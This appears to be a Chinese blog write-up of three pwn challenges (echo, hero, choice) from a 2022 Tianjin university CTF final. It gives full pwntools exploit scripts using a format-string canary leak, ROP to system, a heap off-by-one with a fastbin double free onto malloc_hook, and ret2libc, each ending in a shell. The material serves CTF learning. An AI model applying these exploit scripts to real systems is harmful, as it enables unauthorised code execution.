2022天津市大学生信息安全网络攻防决赛 pwn

比赛时间只有3个小时,这里我只写出了echo、hero,还一道choice没时间去写了,后续自己在本地复现了一下。

echo

格式化字符串漏洞

先利用格式字符串读出canary的值绕过检查

利用格式字符串修改0x601068地址的值,修改为字符串/bin/sh\x00

再利用栈溢出和system函数执行ROP

开始我想一次性修改多个字节,但好像有canary以及缓冲区太小的原因,当时一直不成功,所以就每次只修改一个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import*
elf = ELF('echo')
#p = process('./echo')
p = remote('172.31.1.105',50004)
context.log_level = 'debug'
bss = 0x601068


p.sendafter(b'>',b'%11$p')
p.recvuntil(b'0x')
canary = int(p.recv(16),16)
print(hex(canary))

bin_sh = 0x0068732f6e69622f

pay = b'%47c%10$hhn'
pay = pay.ljust(0x10, b'\x00')
pay += p64(bss)
p.sendafter(b'>',pay)

pay = b'%98c%10$hhn'
pay = pay.ljust(0x10, b'\x00')
pay += p64(bss + 1)
p.sendafter(b'>',pay)

pay = b'%105c%10$hhn'
pay = pay.ljust(0x10, b'\x00')
pay += p64(bss + 2)
p.sendafter(b'>',pay)

pay = b'%110c%10$hhn'
pay = pay.ljust(0x10, b'\x00')
pay += p64(bss + 3)
p.sendafter(b'>',pay)

pay = b'%47c%10$hhn'
pay = pay.ljust(0x10, b'\x00')
pay += p64(bss + 4)
p.sendafter(b'>',pay)

pay = b'%115c%10$hhn'
pay = pay.ljust(0x10, b'\x00')
pay += p64(bss + 5)
p.sendafter(b'>',pay)

pay = b'%104c%10$hhn'
pay = pay.ljust(0x10, b'\x00')
pay += p64(bss + 6)
p.sendafter(b'>',pay)

pay = b'%10$hhn'
pay = pay.ljust(0x10, b'\x00')
pay += p64(bss + 7)
p.sendafter(b'>',pay)


payload = b'quit'.ljust(0x18, b'\x00') + p64(canary) + p64(0) + p64(0x4005e9) + p64(0x400903) + p64(bss) + p64(elf.plt['system'])

p.sendafter(b'>',payload)
#pause()
p.interactive()

hero

在edit函数中有个单字节溢出

可以伪造修改下一个堆块的prev_size大小和size尾字节为\x00,在申请释放会本来正常申请的堆块合并。

最后利用fastbin二次释放,指向malloc_hook,__realloc_hook改为onegadget__malloc_hook改为__libc_reallo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import*
elf = ELF('hero')
#libc = elf.libc
libc = ELF('libc_64.so')
#p = process('./hero')
p = remote('172.31.1.105',50005)
context.log_level = 'debug'

def add(name, power):
p.sendlineafter(b'choice:', b'1')
p.sendafter(b'name:', name)
p.sendafter(b'power:', power)
def show(index):
p.sendlineafter(b'choice:', b'2')
p.sendlineafter(b'show?', str(index).encode())
def edit(index, name, power):
p.sendlineafter(b'choice:', b'3')
p.sendlineafter(b'edit?', str(index).encode())
p.sendafter(b'name:', name)
p.sendafter(b'power:', power)
def delete(index):
p.sendlineafter(b'choice:', b'4')
p.sendlineafter(b'remove?', str(index).encode())

add(b'a', b'a')
add(b'a', b'a')
add(b'a', b'a')
delete(0)
payload = b'a' * 0x60 + p64(0x170)
edit(1, payload, b'a')
show(1)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
malloc_hook = libcbase + libc.sym['__malloc_hook']
libc_reallo = libcbase + 0x846c0
onegadget = libcbase + 0xf1117

add(b'a', b'a')
edit(1 ,b'a', b'a')
delete(1)
delete(0)
add(p64(malloc_hook - 0x23), b'a')
add(b'a', b'a')
add(b'a', b'a')
payload = b'\x00' * 11 + p64(onegadget) + p64(libc_reallo + 6)
add(payload ,b'a')
#gdb.attach(p)
#pause()
p.sendlineafter(b'choice:', b'1')
print(hex(libcbase))
#pause()
p.interactive()

choice

本地复现环境:2.23-0ubuntu11.3_i386

在此输入时利用最后一个字节即可覆盖nbytes的值,然后在下一次输入时让其栈溢出,最后ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import*
elf = ELF('choice')
libc = elf.libc
p = process('./choice')
context.log_level = 'debug'

pay = b'a'.ljust(20, b'\x00') + b'\x50'
p.sendafter(b'name:', pay)
p.sendlineafter(b'now', b'1')

payload = b'a' * 0x20 + p32(elf.plt['puts']) + p32(0x80485bb) + p32(elf.got['puts'])
p.sendafter(b'it?', payload)
p.recvuntil(b'\n')
p.recvuntil(b'\n')
leak = u32(p.recv(4))
libcbase = leak - libc.sym['puts']
sys_addr = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()

p.sendafter(b'name:', pay)
p.sendlineafter(b'now', b'1')
payload = b'a' * 0x20 + p32(sys_addr) + b'aaaa' + p32(bin_sh)
p.sendafter(b'it?', payload)

p.interactive()

2022天津市大学生信息安全网络攻防决赛 pwn
https://xtxtn.github.io/2022/11/05/天津市攻防/
作者
xtxtn
发布于
2022年11月5日
更新于
2022年11月16日
许可协议